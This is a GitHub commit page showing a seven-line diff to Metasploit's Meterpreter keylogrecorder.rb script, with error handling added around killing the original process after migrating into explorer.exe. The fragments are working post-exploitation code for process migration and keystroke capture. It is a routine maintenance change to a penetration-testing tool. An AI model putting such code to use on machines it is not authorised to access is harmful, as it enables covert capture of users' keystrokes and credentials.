Permalink
Browse files

Update keylogrecorder.rb

Removed redundant code, added error checking.
  • Loading branch information...
1 parent de72512 commit 2db85e8384817119c1d69211b30178e598c1b0c5 shellster committed Mar 22, 2013
Showing with 7 additions and 7 deletions.
  1. +7 −7 scripts/meterpreter/keylogrecorder.rb
@@ -54,10 +54,6 @@ def lock_screen
#Function to Migrate in to Explorer process to be able to interact with desktop
def explrmigrate(session,captype,lock,kill)
#begin
-
- server = client.sys.process.open
- original_pid = server.pid
-
if captype.to_i == 0
process2mig = "explorer.exe"
elsif captype.to_i == 1
@@ -81,9 +77,13 @@ def explrmigrate(session,captype,lock,kill)
print_status("Migration Successful!!")
if (kill)
- print_status("Killing old process")
- client.sys.process.kill(original_pid)
- print_status("Old process killed.")
+ begin
+ print_status("Killing old process")
+ client.sys.process.kill(mypid)
+ print_status("Old process killed.")
+ rescue
+ print_status("Failed to kill old process.")
+ end
end
end
end

0 comments on commit 2db85e8

Please sign in to comment.